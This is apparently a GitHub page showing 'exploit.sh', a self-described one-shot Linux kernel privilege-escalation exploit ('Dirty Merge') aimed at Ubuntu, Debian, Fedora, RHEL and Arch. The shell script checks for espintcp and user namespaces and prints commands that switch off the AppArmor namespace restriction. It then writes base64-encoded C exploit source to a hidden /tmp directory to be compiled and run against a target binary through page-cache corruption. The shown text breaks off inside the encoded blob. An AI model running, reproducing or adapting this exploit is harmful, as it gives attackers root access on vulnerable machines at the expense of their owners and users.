-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathexploit.sh
More file actions
104 lines (95 loc) · 51 KB
/
Copy pathexploit.sh
File metadata and controls
104 lines (95 loc) · 51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/bin/sh
# Dirty Merge — one-shot LPE exploit
# Targets: Ubuntu, Debian, Fedora, RHEL, Arch (kernels with espintcp)
# Usage: ./exploit.sh [target_binary]
set -e
# ── environment checks ──
err=0
# 1. Must be Linux
if [ "$(uname -s)" != "Linux" ]; then
echo "[-] Not Linux ($(uname -s)). Dirty Merge is a Linux kernel exploit."
exit 2
fi
# 2. Check kernel config for espintcp
KCONFIG="/boot/config-$(uname -r)"
if [ -f "$KCONFIG" ]; then
if grep -q '^# CONFIG_INET_ESPINTCP is not set' "$KCONFIG" 2>/dev/null; then
echo "[-] CONFIG_INET_ESPINTCP is not set in $KCONFIG"
echo " This kernel does not support ESP-in-TCP. Exploit will fail."
echo " Affected: Kali, WSL, COS/kernelCTF, some custom kernels."
echo " Works on: Ubuntu, Debian, Fedora, RHEL, Arch."
exit 2
elif grep -q 'CONFIG_INET_ESPINTCP=y\|CONFIG_INET_ESPINTCP=m' "$KCONFIG" 2>/dev/null; then
echo "[+] CONFIG_INET_ESPINTCP found"
else
echo "[?] Cannot determine ESPINTCP status, continuing anyway..."
fi
elif [ -f /proc/config.gz ]; then
if zcat /proc/config.gz 2>/dev/null | grep -q '^# CONFIG_INET_ESPINTCP is not set'; then
echo "[-] CONFIG_INET_ESPINTCP is not set (from /proc/config.gz)"
echo " This kernel does not support ESP-in-TCP. Exploit will fail."
exit 2
elif zcat /proc/config.gz 2>/dev/null | grep -q 'CONFIG_INET_ESPINTCP='; then
echo "[+] CONFIG_INET_ESPINTCP found"
fi
else
echo "[?] No kernel config found, skipping espintcp check..."
fi
# 3. Check user namespaces
if [ -f /proc/sys/kernel/unprivileged_userns_clone ]; then
if [ "$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null)" = "0" ]; then
echo "[-] unprivileged_userns_clone=0. Need: sysctl -w kernel.unprivileged_userns_clone=1"
err=1
fi
fi
if [ -f /proc/sys/user/max_user_namespaces ]; then
val=$(cat /proc/sys/user/max_user_namespaces 2>/dev/null)
if [ "$val" = "0" ]; then
echo "[-] max_user_namespaces=0. User namespaces disabled."
err=1
fi
fi
# Ubuntu AppArmor check
if [ -f /proc/sys/kernel/apparmor_restrict_unprivileged_userns ]; then
if [ "$(cat /proc/sys/kernel/apparmor_restrict_unprivileged_userns 2>/dev/null)" = "1" ]; then
echo "[!] AppArmor restricts unprivileged userns."
echo " Fix: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0"
err=1
fi
fi
# 4. Check required tools
for tool in gcc ip ethtool; do
if ! command -v "$tool" >/dev/null 2>&1; then
echo "[-] '$tool' not found. Install it first."
case "$tool" in
ip) echo " apt install iproute2 / yum install iproute" ;;
ethtool) echo " apt install ethtool / yum install ethtool" ;;
gcc) echo " apt install gcc / yum install gcc" ;;
esac
err=1
fi
done
# 5. Try loading required modules (best effort, may need root)
modprobe esp4 2>/dev/null || true
modprobe xfrm_user 2>/dev/null || true
modprobe veth 2>/dev/null || true
if [ "$err" = "1" ]; then
echo ""
echo "[-] Environment checks failed. Fix the issues above and retry."
exit 2
fi
echo "[+] Environment checks passed"
echo ""
# ── extract, compile, run ──
WORK=/tmp/.dirty_merge_$$
mkdir -p "$WORK"
base64 -d << '__B64__' > "$WORK/exploit.c"
Ly8gR1JPIEZyYWduZXNpYTogVmFyaWFudCB0aGF0IGJ5cGFzc2VzIHNrYl90cnlfY29hbGVzY2Utb25seSBmaXhlcwovLyBVc2VzIHZldGggcGFpciArIEdSTyB0byBzdHJpcCBTS0JGTF9TSEFSRURfRlJBRyB2aWEgc2tiX2dyb19yZWNlaXZlKCkKLy8gaW5zdGVhZCBvZiBza2JfdHJ5X2NvYWxlc2NlKCkg4oCUIGluZGVwZW5kZW50IHZ1bG5lcmFiaWxpdHkgaW4gR1JPIGxheWVyCi8vCi8vIEJhc2VkIG9uIEZyYWduZXNpYSBieSBXaWxsaWFtIEJvd2xpbmcgKFYxMikKLy8gR1JPIGJ5cGFzcyB2YXJpYW50OiBleHBsb2l0cyBuZXQvY29yZS9ncm8uYzoxMzYtMTQzIGZsYWcgbm9uLXByb3BhZ2F0aW9uCi8vCi8vIFVidW50dSB1c2VyczogQXBwQXJtb3IgaW50ZXJmZXJlcyB3aXRoIHVzaW5nIG5hbWVzcGFjZXMsIHlvdSBuZWVkIHRvIHVzZQovLyBgc3VkbyBzeXNjdGwgLXcga2VybmVsLmFwcGFybW9yX3Jlc3RyaWN0X3VucHJpdmlsZWdlZF91c2VybnM9MGAuCi8vCi8vIEF0dGFjayBwYXRoOgovLyAgIHNwbGljZSgpIC0+IFRDUCAtPiB2ZXRoKEdSTyBvbikgLT4gc2tiX2dyb19yZWNlaXZlKCkKLy8gICAtPiBTS0JGTF9TSEFSRURfRlJBRyBzdHJpcHBlZCBhdCBHUk8gbGF5ZXIgKEJFRk9SRSBUQ1ApCi8vICAgLT4gZXNwaW50Y3AgLT4gZXNwX2lucHV0KCkgc2tpcF9jb3cgLT4gaW4tcGxhY2UgZGVjcnlwdAovLyAgIC0+IHBhZ2UgY2FjaGUgY29ycnVwdGlvbgovLwovLyBCdWlsZDoKLy8gICBnY2MgLU8yIC1XYWxsIC1XZXh0cmEgLXN0YXRpYyAtbyBncm9fZnJhZ25lc2lhIGdyb19mcmFnbmVzaWEuYwovLwovLyBSZXF1aXJlczogaXAsIGV0aHRvb2wgaW4gUEFUSCAoZm9yIHZldGggKyBHUk8gc2V0dXApCi8vCi8vIEV4aXQgY29kZXM6Ci8vICAgMTogdnVsbmVyYWJsZSBiZWhhdmlvciB2ZXJpZmllZAovLyAgIDA6IGZpeGVkL25vIG11dGF0aW9uIG9ic2VydmVkCi8vICAgMjogbG9jYWwgc2V0dXAgb3IgYXJndW1lbnQgZXJyb3IKLy8gICA0OiBuYW1lc3BhY2UvWEZSTSBnYXRlIGNsb3NlZAoKI2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPGFycGEvaW5ldC5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxncnAuaD4KI2luY2x1ZGUgPGxpbnV4L3R5cGVzLmg+CiNpZmRlZiBfX2hhc19pbmNsdWRlCiNpZiBfX2hhc19pbmNsdWRlKDxsaW51eC9pZl9hbGcuaD4pCiNpbmNsdWRlIDxsaW51eC9pZl9hbGcuaD4KI2RlZmluZSBIQVZFX0lGX0FMRyAxCiNlbmRpZgojZW5kaWYKI2lmbmRlZiBIQVZFX0lGX0FMRwpzdHJ1Y3Qgc29ja2FkZHJfYWxnIHsKCV9fdTE2IHNhbGdfZmFtaWx5OwoJX191OCBzYWxnX3R5cGVbMTRdOwoJX191MzIgc2FsZ19mZWF0OwoJX191MzIgc2FsZ19tYXNrOwoJX191OCBzYWxnX25hbWVbNjRdOwp9OwojZW5kaWYKI2luY2x1ZGUgPGxpbnV4L25ldGxpbmsuaD4KI2luY2x1ZGUgPGxpbnV4L3VkcC5oPgojaW5jbHVkZSA8bGludXgveGZybS5oPgojaW5jbHVkZSA8bGltaXRzLmg+CiNpbmNsdWRlIDxuZXQvaWYuaD4KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4KI2luY2x1ZGUgPG5ldGluZXQvdGNwLmg+CiNpbmNsdWRlIDxzY2hlZC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CiNpbmNsdWRlIDxzdGRib29sLmg+CiNpbmNsdWRlIDxzdGRpbnQuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8c3lzL2lvY3RsLmg+CiNpbmNsdWRlIDxzeXMvcHJjdGwuaD4KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+CiNpbmNsdWRlIDxzeXMvc3lzY2FsbC5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvd2FpdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CgojaWZuZGVmIFRDUF9VTFAKI2RlZmluZSBUQ1BfVUxQIDMxCiNlbmRpZgoKI2lmbmRlZiBORVRMSU5LX1hGUk0KI2RlZmluZSBORVRMSU5LX1hGUk0gNgojZW5kaWYKCiNpZm5kZWYgVENQX0VOQ0FQX0VTUElOVENQCiNkZWZpbmUgVENQX0VOQ0FQX0VTUElOVENQIDcKI2VuZGlmCgojaWZuZGVmIEFGX0FMRwojZGVmaW5lIEFGX0FMRyAzOAojZW5kaWYKCiNpZm5kZWYgU09MX0FMRwojZGVmaW5lIFNPTF9BTEcgMjc5CiNlbmRpZgoKI2lmbmRlZiBBTEdfU0VUX0tFWQojZGVmaW5lIEFMR19TRVRfS0VZIDEKI2VuZGlmCgojaWZuZGVmIEFMR19TRVRfT1AKI2RlZmluZSBBTEdfU0VUX09QIDMKI2VuZGlmCgojaWZuZGVmIEFMR19PUF9FTkNSWVBUCiNkZWZpbmUgQUxHX09QX0VOQ1JZUFQgMQojZW5kaWYKCiNpZm5kZWYgTkxBX0FMSUdOVE8KI2RlZmluZSBOTEFfQUxJR05UTyA0CiNlbmRpZgoKI2lmbmRlZiBOTEFfQUxJR04KI2RlZmluZSBOTEFfQUxJR04obGVuKSAoKChsZW4pICsgTkxBX0FMSUdOVE8gLSAxKSAmIH4oTkxBX0FMSUdOVE8gLSAxKSkKI2VuZGlmCgojaWZuZGVmIE5MQV9IRFJMRU4KI2RlZmluZSBOTEFfSERSTEVOICgoaW50KU5MQV9BTElHTihzaXplb2Yoc3RydWN0IG5sYXR0cikpKQojZW5kaWYKCiNkZWZpbmUgRlJBR19MRU4gNDA5NgojZGVmaW5lIEVTUF9HQ01fSUNWX0xFTiAxNgojZGVmaW5lIEVTUF9HQ01fRU5DUllQVEVEX0xFTiAoRlJBR19MRU4gLSBFU1BfR0NNX0lDVl9MRU4pCiNkZWZpbmUgVENQX1BPUlQgNTU1NgoKI2RlZmluZSBQQVlMT0FEX0xFTiAgICAgICAgIDE5MgojZGVmaW5lIEZSQU1FX1BBWUxPQURfUk9XUyAgMTIgICAgICAvKiBjZWlsKFBBWUxPQURfTEVOIC8gMTYpICovCiNkZWZpbmUgRlJBTUVfQkFSX1cgICAgICAgICA1MAojZGVmaW5lIEZSQU1FX0xJTkVTICAgICAgICAgMTUgICAgICAvKiAxIGhlYWRlciArIDEyIGhleCArIDEgYmFyICsgMSBzZXAgKi8KCiNkZWZpbmUgUkVDRUlWRVJfUFJFX1VMUF9VUyAzMDAwMAojZGVmaW5lIFNFTkRFUl9QUkVfU1BMSUNFX1VTIDEwMDAKI2RlZmluZSBSRUNFSVZFUl9QT1NUX1VMUF9VUyAzMDAwMAoKc3RhdGljIGNvbnN0IHVuc2lnbmVkIGNoYXIgeGZybV9hZWFkX2tleVsyMF0gPSB7CgkweDAwLCAweDExLCAweDIyLCAweDMzLCAweDQ0LCAweDU1LCAweDY2LCAweDc3LAoJMHg4OCwgMHg5OSwgMHhhYSwgMHhiYiwgMHhjYywgMHhkZCwgMHhlZSwgMHhmZiwKCTB4MDEsIDB4MDIsIDB4MDMsIDB4MDQKfTsKCnN0YXRpYyB1bnNpZ25lZCBjaGFyIGFjdGl2ZV9lc3BfZ2NtX2l2WzhdID0gewoJMHhjYywgMHhjYywgMHhjYywgMHhjYywgMHhjYywgMHhjYywgMHhjYywgMHhjYwp9OwpzdGF0aWMgdWludDMyX3QgYWN0aXZlX2VzcF9zZXEgPSAxOwpzdGF0aWMgY29uc3QgY2hhciAqdGFyZ2V0X2ZpbGU7CnN0YXRpYyBjaGFyIHRhcmdldF9maWxlX2J1ZltQQVRIX01BWF07CnN0YXRpYyBsb2ZmX3QgdGFyZ2V0X3NwbGljZV9vZmY7CgpzdGF0aWMgdWludDE2X3Qgc3RyZWFtMF9ub25jZVsyNTZdOwpzdGF0aWMgYm9vbCBzdHJlYW0wX2hhdmVbMjU2XTsKCnN0YXRpYyB2b2lkIGRpZShjb25zdCBjaGFyICp3aGF0KQp7CglmcHJpbnRmKHN0ZGVyciwgIiVzOiAlc1xuIiwgd2hhdCwgc3RyZXJyb3IoZXJybm8pKTsKCWV4aXQoMik7Cn0KCnN0YXRpYyB2b2lkIGdhdGVfZmFpbChjb25zdCBjaGFyICp3aGF0KQp7CglwcmludGYoIm5hbWVzcGFjZV9nYXRlX2ZhaWxlZDogJXMgZXJybm89JWQgKCVzKVxuIiwKCSAgICAgICB3aGF0LCBlcnJubywgc3RyZXJyb3IoZXJybm8pKTsKCWV4aXQoNCk7Cn0KCnN0YXRpYyB2b2lkIHN0b3JlX2JlMzIodW5zaWduZWQgY2hhciAqcCwgdWludDMyX3QgdikKewoJcFswXSA9ICh1bnNpZ25lZCBjaGFyKSh2ID4+IDI0KTsKCXBbMV0gPSAodW5zaWduZWQgY2hhcikodiA+PiAxNik7CglwWzJdID0gKHVuc2lnbmVkIGNoYXIpKHYgPj4gOCk7CglwWzNdID0gKHVuc2lnbmVkIGNoYXIpdjsKfQoKLyogQU5TSSBjb2xvdXJzICovCiNkZWZpbmUgQ19SRVNFVCAgIlwwMzNbMG0iCiNkZWZpbmUgQ19CT0xEICAgIlwwMzNbMW0iCiNkZWZpbmUgQ19ESU0gICAgIlwwMzNbMm0iCiNkZWZpbmUgQ19SRUQgICAgIlwwMzNbMzFtIgojZGVmaW5lIENfR1JFRU4gICJcMDMzWzMybSIKI2RlZmluZSBDX1lFTExPVyAiXDAzM1szM20iCiNkZWZpbmUgQ19DWUFOICAgIlwwMzNbMzZtIgojZGVmaW5lIENfV0hJVEUgICJcMDMzWzk3bSIKI2RlZmluZSBDX0JSRUQgICAiXDAzM1sxOzMxbSIKI2RlZmluZSBDX0JHUk4gICAiXDAzM1sxOzMybSIKI2RlZmluZSBDX0JZTFcgICAiXDAzM1sxOzMzbSIKI2RlZmluZSBDX0JDWU4gICAiXDAzM1sxOzM2bSIKI2RlZmluZSBDX0JXSFQgICAiXDAzM1sxOzk3bSIKCnN0YXRpYyB2b2lkIHByaW50X2hleF9ieXRlcyhjb25zdCBjaGFyICpsYWJlbCwgY29uc3QgdW5zaWduZWQgY2hhciAqYnVmLAoJCQkgICAgc2l6ZV90IGxlbikKewoJc2l6ZV90IGk7CgoJcHJpbnRmKENfRElNICIlcz0iIENfUkVTRVQgQ19DWUFOLCBsYWJlbCk7Cglmb3IgKGkgPSAwOyBpIDwgbGVuOyBpKyspCgkJcHJpbnRmKCIlMDJ4IiwgYnVmW2ldKTsKCXByaW50ZihDX1JFU0VUICJcbiIpOwp9CgovKiBEdW1wIGEgMTYtYnl0ZSBhbGlnbmVkIHJvdyBjZW50cmVkIG9uIGBoaWdobGlnaHRfb2ZmYCwgbWFya2luZyB0aGF0IGJ5dGUuICovCnN0YXRpYyB2b2lkIHByaW50X2hleF9yb3coY29uc3QgY2hhciAqcGF0aCwgdWludDY0X3QgaGlnaGxpZ2h0X29mZiwKCQkJICBjb25zdCBjaGFyICpiZWZvcmVfbGFiZWwsIHVuc2lnbmVkIGNoYXIgYmVmb3JlX3ZhbCwKCQkJICBjb25zdCBjaGFyICphZnRlcl9sYWJlbCwgIHVuc2lnbmVkIGNoYXIgYWZ0ZXJfdmFsKQp7Cgl1aW50NjRfdCByb3dfc3RhcnQgPSBoaWdobGlnaHRfb2ZmICYgfih1aW50NjRfdCkxNTsKCXVuc2lnbmVkIGNoYXIgcm93WzE2XTsKCXNzaXplX3QgZ290OwoJc2l6ZV90IGNvbDsKCWludCBmZDsKCglmZCA9IG9wZW4ocGF0aCwgT19SRE9OTFkgfCBPX0NMT0VYRUMpOwoJaWYgKGZkIDwgMCkKCQlyZXR1cm47Cglnb3QgPSBwcmVhZChmZCwgcm93LCBzaXplb2Yocm93KSwgKG9mZl90KXJvd19zdGFydCk7CgljbG9zZShmZCk7CglpZiAoZ290IDw9IDApCgkJcmV0dXJuOwoKCS8qIEhleCBzZWN0aW9uICovCglwcmludGYoQ19ESU0gIiAgJTAxNmxseCAgIiBDX1JFU0VULCAodW5zaWduZWQgbG9uZyBsb25nKXJvd19zdGFydCk7Cglmb3IgKGNvbCA9IDA7IGNvbCA8IDE2OyBjb2wrKykgewoJCWlmIChjb2wgPT0gOCkKCQkJcHJpbnRmKCIgIik7CgkJaWYgKChzaXplX3QpZ290ID4gY29sKSB7CgkJCWlmIChyb3dfc3RhcnQgKyBjb2wgPT0gaGlnaGxpZ2h0X29mZikKCQkJCXByaW50ZihDX0JSRUQgIlslMDJ4XSIgQ19SRVNFVCwgcm93W2NvbF0pOwoJCQllbHNlCgkJCQlwcmludGYoQ19ESU0gIiUwMnggIiBDX1JFU0VULCByb3dbY29sXSk7CgkJfSBlbHNlIHsKCQkJcHJpbnRmKENfRElNICIgICAiIENfUkVTRVQpOwoJCX0KCX0KCgkvKiBBU0NJSSBzZWN0aW9uICovCglwcmludGYoIiAgIiBDX0RJTSAifCIgQ19SRVNFVCk7Cglmb3IgKGNvbCA9IDA7IGNvbCA8IChzaXplX3QpZ290OyBjb2wrKykgewoJCXVuc2lnbmVkIGNoYXIgYyA9IHJvd1tjb2xdOwoJCWlmIChyb3dfc3RhcnQgKyBjb2wgPT0gaGlnaGxpZ2h0X29mZikKCQkJcHJpbnRmKENfQlJFRCAiJWMiIENfUkVTRVQsCgkJCSAgICAgICAoYyA+PSAweDIwICYmIGMgPCAweDdmKSA/IGMgOiAnLicpOwoJCWVsc2UKCQkJcHJpbnRmKENfRElNICIlYyIgQ19SRVNFVCwKCQkJICAgICAgIChjID49IDB4MjAgJiYgYyA8IDB4N2YpID8gYyA6ICcuJyk7Cgl9CglwcmludGYoQ19ESU0gInwiIENfUkVTRVQgIlxuIik7CgoJLyogQW5ub3RhdGlvbiBsaW5lICovCglzaXplX3QgY29sX29mZiA9IChzaXplX3QpKGhpZ2hsaWdodF9vZmYgLSByb3dfc3RhcnQpOwoJc2l6ZV90IGFycm93X3BvcyA9IDIwICsgY29sX29mZiAqIDMgKyAoY29sX29mZiA+PSA4ID8gMSA6IDApICsgMTsKCXByaW50ZigiJSpzIiBDX0JZTFcgIl4tLSArJTA0bGx4ICAiCgkgICAgICAgQ19SRUQgIiVzIiBDX1JFU0VUICI6IiBDX0JSRUQgIiUwMngiIENfUkVTRVQKCSAgICAgICAiICAtPiAgIgoJICAgICAgIENfR1JFRU4gIiVzIiBDX1JFU0VUICI6IiBDX0JHUk4gIiUwMngiIENfUkVTRVQgIlxuIiwKCSAgICAgICAoaW50KWFycm93X3BvcywgIiIsCgkgICAgICAgKHVuc2lnbmVkIGxvbmcgbG9uZykoaGlnaGxpZ2h0X29mZiAmIDB4ZmZmZiksCgkgICAgICAgYmVmb3JlX2xhYmVsLCBiZWZvcmVfdmFsLAoJICAgICAgIGFmdGVyX2xhYmVsLCBhZnRlcl92YWwpOwp9CgpzdGF0aWMgaW50IG9wZW5fYWZhbGdfYWVzX2VjYih2b2lkKQp7CglzdHJ1Y3Qgc29ja2FkZHJfYWxnIHNhID0gewoJCS5zYWxnX2ZhbWlseSA9IEFGX0FMRywKCX07CglpbnQgZmQ7CgoJZmQgPSBzb2NrZXQoQUZfQUxHLCBTT0NLX1NFUVBBQ0tFVCB8IFNPQ0tfQ0xPRVhFQywgMCk7CglpZiAoZmQgPCAwKQoJCWRpZSgic29ja2V0KEFGX0FMRykiKTsKCglzdHJjcHkoKGNoYXIgKilzYS5zYWxnX3R5cGUsICJza2NpcGhlciIpOwoJc3RyY3B5KChjaGFyICopc2Euc2FsZ19uYW1lLCAiZWNiKGFlcykiKTsKCWlmIChiaW5kKGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNhLCBzaXplb2Yoc2EpKSA8IDApCgkJZGllKCJiaW5kIEFGX0FMRyBlY2IoYWVzKSIpOwoJaWYgKHNldHNvY2tvcHQoZmQsIFNPTF9BTEcsIEFMR19TRVRfS0VZLCB4ZnJtX2FlYWRfa2V5LCAxNikgPCAwKQoJCWRpZSgic2V0c29ja29wdCBBRl9BTEcga2V5Iik7CgoJcmV0dXJuIGZkOwp9CgpzdGF0aWMgdm9pZCBhZmFsZ19hZXNfZW5jcnlwdF9ibG9jayhpbnQgYWxnX2ZkLCBjb25zdCB1bnNpZ25lZCBjaGFyIGluWzE2XSwKCQkJCSAgICB1bnNpZ25lZCBjaGFyIG91dFsxNl0pCnsKCWNoYXIgY2J1ZltDTVNHX1NQQUNFKHNpemVvZih1aW50MzJfdCkpXSA9IHt9OwoJc3RydWN0IGlvdmVjIGlvdiA9IHsKCQkuaW92X2Jhc2UgPSAodm9pZCAqKWluLAoJCS5pb3ZfbGVuID0gMTYsCgl9OwoJc3RydWN0IG1zZ2hkciBtc2cgPSB7CgkJLm1zZ19pb3YgPSAmaW92LAoJCS5tc2dfaW92bGVuID0gMSwKCQkubXNnX2NvbnRyb2wgPSBjYnVmLAoJCS5tc2dfY29udHJvbGxlbiA9IHNpemVvZihjYnVmKSwKCX07CglzdHJ1Y3QgY21zZ2hkciAqY21zZzsKCXVpbnQzMl90IG9wID0gQUxHX09QX0VOQ1JZUFQ7Cglzc2l6ZV90IHJldDsKCWludCBvcF9mZDsKCglvcF9mZCA9IGFjY2VwdDQoYWxnX2ZkLCBOVUxMLCBOVUxMLCBTT0NLX0NMT0VYRUMpOwoJaWYgKG9wX2ZkIDwgMCkKCQlkaWUoImFjY2VwdCBBRl9BTEciKTsKCgljbXNnID0gQ01TR19GSVJTVEhEUigmbXNnKTsKCWNtc2ctPmNtc2dfbGV2ZWwgPSBTT0xfQUxHOwoJY21zZy0+Y21zZ190eXBlID0gQUxHX1NFVF9PUDsKCWNtc2ctPmNtc2dfbGVuID0gQ01TR19MRU4oc2l6ZW9mKG9wKSk7CgltZW1jcHkoQ01TR19EQVRBKGNtc2cpLCAmb3AsIHNpemVvZihvcCkpOwoKCXJldCA9IHNlbmRtc2cob3BfZmQsICZtc2csIDApOwoJaWYgKHJldCAhPSAxNikKCQlkaWUoInNlbmRtc2cgQUZfQUxHIGJsb2NrIik7CglyZXQgPSByZWFkKG9wX2ZkLCBvdXQsIDE2KTsKCWlmIChyZXQgIT0gMTYpCgkJZGllKCJyZWFkIEFGX0FMRyBibG9jayIpOwoKCWNsb3NlKG9wX2ZkKTsKfQoKc3RhdGljIHVuc2lnbmVkIGNoYXIgYWVzX2djbV9zdHJlYW0wX2J5dGUoaW50IGFsZ19mZCwKCQkJCQkgIGNvbnN0IHVuc2lnbmVkIGNoYXIgaXZbOF0pCnsKCXVuc2lnbmVkIGNoYXIgY291bnRlcl9ibG9ja1sxNl0sIHN0cmVhbVsxNl07CgoJbWVtY3B5KGNvdW50ZXJfYmxvY2ssICZ4ZnJtX2FlYWRfa2V5WzE2XSwgNCk7CgltZW1jcHkoY291bnRlcl9ibG9jayArIDQsIGl2LCA4KTsKCXN0b3JlX2JlMzIoY291bnRlcl9ibG9jayArIDEyLCAyKTsKCWFmYWxnX2Flc19lbmNyeXB0X2Jsb2NrKGFsZ19mZCwgY291bnRlcl9ibG9jaywgc3RyZWFtKTsKCXJldHVybiBzdHJlYW1bMF07Cn0KCnN0YXRpYyB2b2lkIGJ1aWxkX3N0cmVhbTBfdGFibGUodm9pZCkKewoJdW5zaWduZWQgY2hhciBpdls4XSA9IHsKCQkweGNjLCAweGNjLCAweGNjLCAweGNjLCAweGNjLCAweGNjLCAweGNjLCAweGNjCgl9OwoJdW5zaWduZWQgaW50IGNvdW50ID0gMCwgbm9uY2U7CglpbnQgYWxnX2ZkOwoKCWFsZ19mZCA9IG9wZW5fYWZhbGdfYWVzX2VjYigpOwoJZm9yIChub25jZSA9IDA7IG5vbmNlIDw9IDB4ZmZmZiAmJiBjb3VudCA8IDI1Njsgbm9uY2UrKykgewoJCXVuc2lnbmVkIGNoYXIgYjsKCgkJc3RvcmVfYmUzMihpdiArIDQsIG5vbmNlKTsKCQliID0gYWVzX2djbV9zdHJlYW0wX2J5dGUoYWxnX2ZkLCBpdik7CgkJaWYgKHN0cmVhbTBfaGF2ZVtiXSkKCQkJY29udGludWU7CgkJc3RyZWFtMF9oYXZlW2JdID0gdHJ1ZTsKCQlzdHJlYW0wX25vbmNlW2JdID0gKHVpbnQxNl90KW5vbmNlOwoJCWNvdW50Kys7Cgl9CgljbG9zZShhbGdfZmQpOwoKCWlmIChjb3VudCAhPSAyNTYpIHsKCQlmcHJpbnRmKHN0ZGVyciwgImZhaWxlZCB0byBidWlsZCBjb21wbGV0ZSBzdHJlYW0tYnl0ZSB0YWJsZTogJXUvMjU2XG4iLAoJCQljb3VudCk7CgkJZXhpdCgyKTsKCX0KCXByaW50Zigic3RyZWFtMF90YWJsZV9lbnRyaWVzPTI1NlxuIik7Cn0KCnN0YXRpYyB2b2lkIGNob29zZV9pdl9mb3Jfc3RyZWFtMCh1bnNpZ25lZCBjaGFyIG5lZWRfc3RyZWFtKQp7Cgl1aW50MTZfdCBub25jZSA9IHN0cmVhbTBfbm9uY2VbbmVlZF9zdHJlYW1dOwoKCW1lbXNldChhY3RpdmVfZXNwX2djbV9pdiwgMHhjYywgc2l6ZW9mKGFjdGl2ZV9lc3BfZ2NtX2l2KSk7CglzdG9yZV9iZTMyKGFjdGl2ZV9lc3BfZ2NtX2l2ICsgNCwgbm9uY2UpOwoJcHJpbnRmKCJieXRlX2ZsaXBfbm9uY2U9JXUgc3RyZWFtX2J5dGU9JTAyeFxuIiwgbm9uY2UsIG5lZWRfc3RyZWFtKTsKCXByaW50X2hleF9ieXRlcygiYnl0ZV9mbGlwX3BhY2tldF9pdiIsIGFjdGl2ZV9lc3BfZ2NtX2l2LAoJCQlzaXplb2YoYWN0aXZlX2VzcF9nY21faXYpKTsKfQoKc3RhdGljIHVpbnQ2NF90IHBhcnNlX3U2NF9hcmcoY29uc3QgY2hhciAqcywgY29uc3QgY2hhciAqbmFtZSkKewoJY2hhciAqZW5kID0gTlVMTDsKCXVuc2lnbmVkIGxvbmcgbG9uZyB2OwoKCWlmIChzWzBdID09ICctJykgewoJCWZwcmludGYoc3RkZXJyLCAiaW52YWxpZCAlczogJXNcbiIsIG5hbWUsIHMpOwoJCWV4aXQoMik7Cgl9CgllcnJubyA9IDA7Cgl2ID0gc3RydG91bGwocywgJmVuZCwgMCk7CglpZiAoZXJybm8gfHwgIWVuZCB8fCAqZW5kICE9ICdcMCcpIHsKCQlmcHJpbnRmKHN0ZGVyciwgImludmFsaWQgJXM6ICVzXG4iLCBuYW1lLCBzKTsKCQlleGl0KDIpOwoJfQoJcmV0dXJuICh1aW50NjRfdCl2Owp9CgpzdGF0aWMgaW50IGhleF9uaWJibGUoaW50IGMpCnsKCWlmIChjID49ICcwJyAmJiBjIDw9ICc5JykKCQlyZXR1cm4gYyAtICcwJzsKCWlmIChjID49ICdhJyAmJiBjIDw9ICdmJykKCQlyZXR1cm4gMTAgKyBjIC0gJ2EnOwoJaWYgKGMgPj0gJ0EnICYmIGMgPD0gJ0YnKQoJCXJldHVybiAxMCArIGMgLSAnQSc7CglyZXR1cm4gLTE7Cn0KCnN0YXRpYyBib29sIGlzX2hleF9zZXBhcmF0b3IoaW50IGMpCnsKCXJldHVybiBjID09ICc6JyB8fCBjID09ICcsJyB8fCBjID09ICctJyB8fCBjID09ICdfJyB8fAoJICAgICAgIGMgPT0gJyAnIHx8IGMgPT0gJ1x0JyB8fCBjID09ICdcbicgfHwgYyA9PSAnXHInOwp9CgpzdGF0aWMgdW5zaWduZWQgY2hhciAqcGFyc2VfaGV4X2J5dGVzX2FyZyhjb25zdCBjaGFyICpzLCBzaXplX3QgKmxlbl9vdXQpCnsKCXNpemVfdCBjYXAgPSBzdHJsZW4ocykgLyAyICsgMSwgbGVuID0gMDsKCXVuc2lnbmVkIGNoYXIgKmJ1ZjsKCWludCBoaSA9IC0xLCB2OwoKCWJ1ZiA9IG1hbGxvYyhjYXApOwoJaWYgKCFidWYpCgkJZGllKCJtYWxsb2MgZGVzaXJlZCBieXRlcyIpOwoKCWZvciAoOyAqczsgcysrKSB7CgkJaWYgKGlzX2hleF9zZXBhcmF0b3IoKHVuc2lnbmVkIGNoYXIpKnMpKQoJCQljb250aW51ZTsKCQlpZiAoaGkgPCAwICYmIHNbMF0gPT0gJzAnICYmIChzWzFdID09ICd4JyB8fCBzWzFdID09ICdYJykpIHsKCQkJcysrOwoJCQljb250aW51ZTsKCQl9CgoJCXYgPSBoZXhfbmliYmxlKCh1bnNpZ25lZCBjaGFyKSpzKTsKCQlpZiAodiA8IDApIHsKCQkJZnByaW50ZihzdGRlcnIsICJpbnZhbGlkIGhleCBieXRlIHN0cmluZyBuZWFyICclYydcbiIsICpzKTsKCQkJZXhpdCgyKTsKCQl9CgkJaWYgKGhpIDwgMCkgewoJCQloaSA9IHY7CgkJCWNvbnRpbnVlOwoJCX0KCQlidWZbbGVuKytdID0gKHVuc2lnbmVkIGNoYXIpKChoaSA8PCA0KSB8IHYpOwoJCWhpID0gLTE7Cgl9CgoJaWYgKGhpID49IDApIHsKCQlmcHJpbnRmKHN0ZGVyciwgImhleCBieXRlIHN0cmluZyBoYX